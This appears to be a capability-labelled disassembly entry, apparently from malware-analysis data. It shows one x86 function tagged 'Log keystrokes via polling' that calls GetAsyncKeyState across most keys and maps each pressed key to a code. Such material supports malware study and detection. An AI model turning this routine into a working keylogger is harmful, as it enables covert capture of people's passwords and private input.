Function at 0x1003de90
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x1003e484
push edi
mov edi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0x20
call edi
test ax, ax
jns 0x1003debb
pop edi
mov dword [esi], 0x20
pop esi
pop ebp
ret 4
push 0xd
call edi
test ax, ax
jns 0x1003ded0
pop edi
mov dword [esi], 0xd
pop esi
pop ebp
ret 4
push 9
call edi
test ax, ax
jns 0x1003dee5
pop edi
mov dword [esi], 9
pop esi
pop ebp
ret 4
push 0x26
call edi
test ax, ax
jns 0x1003defa
pop edi
mov dword [esi], 0x80
pop esi
pop ebp
ret 4
push 0x28
call edi
test ax, ax
jns 0x1003df0f
pop edi
mov dword [esi], 0x81
pop esi
pop ebp
ret 4
push 0x25
call edi
test ax, ax
jns 0x1003df24
pop edi
mov dword [esi], 0x82
pop esi
pop ebp
ret 4
push 0x27
call edi
test ax, ax
jns 0x1003df39
pop edi
mov dword [esi], 0x83
pop esi
pop ebp
ret 4
push 0x12
call edi
test ax, ax
jns 0x1003df4e
pop edi
mov dword [esi], 0x84
pop esi
pop ebp
ret 4
push 0x11
call edi
test ax, ax
jns 0x1003df63
pop edi
mov dword [esi], 0x85
pop esi
pop ebp
ret 4
push 0x10
call edi
test ax, ax
jns 0x1003df78
pop edi
mov dword [esi], 0x86
pop esi
pop ebp
ret 4
push 0x70
call edi
test ax, ax
jns 0x1003df8d
pop edi
mov dword [esi], 0x87
pop esi
pop ebp
ret 4
push 0x71
call edi
test ax, ax
jns 0x1003dfa2
pop edi
mov dword [esi], 0x88
pop esi
pop ebp
ret 4
push 0x72
call edi
test ax, ax
jns 0x1003dfb7
pop edi
mov dword [esi], 0x89
pop esi
pop ebp
ret 4
push 0x73
call edi
test ax, ax
jns 0x1003dfcc
pop edi
mov dword [esi], 0x8a
pop esi
pop ebp
ret 4
push 0x74
call edi
test ax, ax
jns 0x1003dfe1
pop edi
mov dword [esi], 0x8b
pop esi
pop ebp
ret 4
push 0x75
call edi
test ax, ax
jns 0x1003dff6
pop edi
mov dword [esi], 0x8c
pop esi
pop ebp
ret 4
push 0x76
call edi
test ax, ax
jns 0x1003e00b
pop edi
mov dword [esi], 0x8d
pop esi
pop ebp
ret 4
push 0x77
call edi
test ax, ax
jns 0x1003e020
pop edi
mov dword [esi], 0x8e
pop esi
pop ebp
ret 4
push 0x78
call edi
test ax, ax
jns 0x1003e035
pop edi
mov dword [esi], 0x8f
pop esi
pop ebp
ret 4
push 0x79
call edi
test ax, ax
jns 0x1003e04a
pop edi
mov dword [esi], 0x90
pop esi
pop ebp
ret 4
push 0x7a
call edi
test ax, ax
jns 0x1003e05f
pop edi
mov dword [esi], 0x91
pop esi
pop ebp
ret 4
push 0x7b
call edi
test ax, ax
jns 0x1003e074
pop edi
mov dword [esi], 0x92
pop esi
pop ebp
ret 4
push 0x22
call edi
test ax, ax
jns 0x1003e089
pop edi
mov dword [esi], 0x95
pop esi
pop ebp
ret 4
push 0x21
call edi
test ax, ax
jns 0x1003e09e
pop edi
mov dword [esi], 0x96
pop esi
pop ebp
ret 4
push 0x24
call edi
test ax, ax
jns 0x1003e0b3
pop edi
mov dword [esi], 0x97
pop esi
pop ebp
ret 4
push 0x23
call edi
test ax, ax
jns 0x1003e0c8
pop edi
mov dword [esi], 0x98
pop esi
pop ebp
ret 4
push 0x51
call edi
test ax, ax
jns 0x1003e0dd
pop edi
mov dword [esi], 0x71
pop esi
pop ebp
ret 4
push 0x57
call edi
test ax, ax
jns 0x1003e0f2
pop edi
mov dword [esi], 0x77
pop esi
pop ebp
ret 4
push 0x45
call edi
test ax, ax
jns 0x1003e107
pop edi
mov dword [esi], 0x65
pop esi
pop ebp
ret 4
push 0x52
call edi
test ax, ax
jns 0x1003e11c
pop edi
mov dword [esi], 0x72
pop esi
pop ebp
ret 4
push 0x54
call edi
test ax, ax
jns 0x1003e131
pop edi
mov dword [esi], 0x74
pop esi
pop ebp
ret 4
push 0x59
call edi
test ax, ax
jns 0x1003e146
pop edi
mov dword [esi], 0x79
pop esi
pop ebp
ret 4
push 0x55
call edi
test ax, ax
jns 0x1003e15b
pop edi
mov dword [esi], 0x75
pop esi
pop ebp
ret 4
push 0x49
call edi
test ax, ax
jns 0x1003e170
pop edi
mov dword [esi], 0x69
pop esi
pop ebp
ret 4
push 0x4f
call edi
test ax, ax
jns 0x1003e185
pop edi
mov dword [esi], 0x6f
pop esi
pop ebp
ret 4
push 0x50
call edi
test ax, ax
jns 0x1003e19a
pop edi
mov dword [esi], 0x70
pop esi
pop ebp
ret 4
push 0xdb
call edi
test ax, ax
jns 0x1003e1b2
pop edi
mov dword [esi], 0x5b
pop esi
pop ebp
ret 4
push 0xdd
call edi
test ax, ax
jns 0x1003e1ca
pop edi
mov dword [esi], 0x5d
pop esi
pop ebp
ret 4
push 0x41
call edi
test ax, ax
jns 0x1003e1df
pop edi
mov dword [esi], 0x61
pop esi
pop ebp
ret 4
push 0x53
call edi
test ax, ax
jns 0x1003e1f4
pop edi
mov dword [esi], 0x73
pop esi
pop ebp
ret 4
push 0x44
call edi
test ax, ax
jns 0x1003e209
pop edi
mov dword [esi], 0x64
pop esi
pop ebp
ret 4
push 0x46
call edi
test ax, ax
jns 0x1003e21e
pop edi
mov dword [esi], 0x66
pop esi
pop ebp
ret 4
push 0x47
call edi
test ax, ax
jns 0x1003e233
pop edi
mov dword [esi], 0x67
pop esi
pop ebp
ret 4
push 0x48
call edi
test ax, ax
jns 0x1003e248
pop edi
mov dword [esi], 0x68
pop esi
pop ebp
ret 4
push 0x4a
call edi
test ax, ax
jns 0x1003e25d
pop edi
mov dword [esi], 0x6a
pop esi
pop ebp
ret 4
push 0x4b
call edi
test ax, ax
jns 0x1003e272
pop edi
mov dword [esi], 0x6b
pop esi
pop ebp
ret 4
push 0x4c
call edi
test ax, ax
jns 0x1003e287
pop edi
mov dword [esi], 0x6c
pop esi
pop ebp
ret 4
push 0x5a
call edi
test ax, ax
jns 0x1003e29c
pop edi
mov dword [esi], 0x7a
pop esi
pop ebp
ret 4
push 0x58
call edi
test ax, ax
jns 0x1003e2b1
pop edi
mov dword [esi], 0x78
pop esi
pop ebp
ret 4
push 0x43
call edi
test ax, ax
jns 0x1003e2c6
pop edi
mov dword [esi], 0x63
pop esi
pop ebp
ret 4
push 0x56
call edi
test ax, ax
jns 0x1003e2db
pop edi
mov dword [esi], 0x76
pop esi
pop ebp
ret 4
push 0x42
call edi
test ax, ax
jns 0x1003e2f0
pop edi
mov dword [esi], 0x62
pop esi
pop ebp
ret 4
push 0x4e
call edi
test ax, ax
jns 0x1003e305
pop edi
mov dword [esi], 0x6e
pop esi
pop ebp
ret 4
push 0x4d
call edi
test ax, ax
jns 0x1003e31a
pop edi
mov dword [esi], 0x6d
pop esi
pop ebp
ret 4
push 0xbc
call edi
test ax, ax
jns 0x1003e332
pop edi
mov dword [esi], 0x2c
pop esi
pop ebp
ret 4
push 0xbe
call edi
test ax, ax
jns 0x1003e34a
pop edi
mov dword [esi], 0x2e
pop esi
pop ebp
ret 4
push 1
call edi
test ax, ax
jns 0x1003e35f
pop edi
mov dword [esi], 0xf1
pop esi
pop ebp
ret 4
push 2
call edi
test ax, ax
jns 0x1003e374
pop edi
mov dword [esi], 0xf2
pop esi
pop ebp
ret 4
push 4
call edi
test ax, ax
jns 0x1003e389
pop edi
mov dword [esi], 0xf3
pop esi
pop ebp
ret 4
push 5
call edi
test ax, ax
jns 0x1003e39e
pop edi
mov dword [esi], 0xf4
pop esi
pop ebp
ret 4
push 6
call edi
test ax, ax
jns 0x1003e3b3
pop edi
mov dword [esi], 0xf5
pop esi
pop ebp
ret 4
push 0x30
call edi
test ax, ax
jns 0x1003e3c8
pop edi
mov dword [esi], 0x30
pop esi
pop ebp
ret 4
push 0x31
call edi
test ax, ax
jns 0x1003e3dd
pop edi
mov dword [esi], 0x31
pop esi
pop ebp
ret 4
push 0x32
call edi
test ax, ax
jns 0x1003e3f2
pop edi
mov dword [esi], 0x32
pop esi
pop ebp
ret 4
push 0x33
call edi
test ax, ax
jns 0x1003e407
pop edi
mov dword [esi], 0x33
pop esi
pop ebp
ret 4
push 0x34
call edi
test ax, ax
jns 0x1003e41c
pop edi
mov dword [esi], 0x34
pop esi
pop ebp
ret 4
push 0x35
call edi
test ax, ax
jns 0x1003e431
pop edi
mov dword [esi], 0x35
pop esi
pop ebp
ret 4
push 0x36
call edi
test ax, ax
jns 0x1003e446
pop edi
mov dword [esi], 0x36
pop esi
pop ebp
ret 4
push 0x37
call edi
test ax, ax
jns 0x1003e45b
pop edi
mov dword [esi], 0x37
pop esi
pop ebp
ret 4
push 0x38
call edi
test ax, ax
jns 0x1003e470
pop edi
mov dword [esi], 0x38
pop esi
pop ebp
ret 4
push 0x39
call edi
xor ecx, ecx
mov edx, 0x39
test ax, ax
pop edi
cmovs ecx, edx
mov dword [esi], ecx
pop esi
pop ebp
ret 4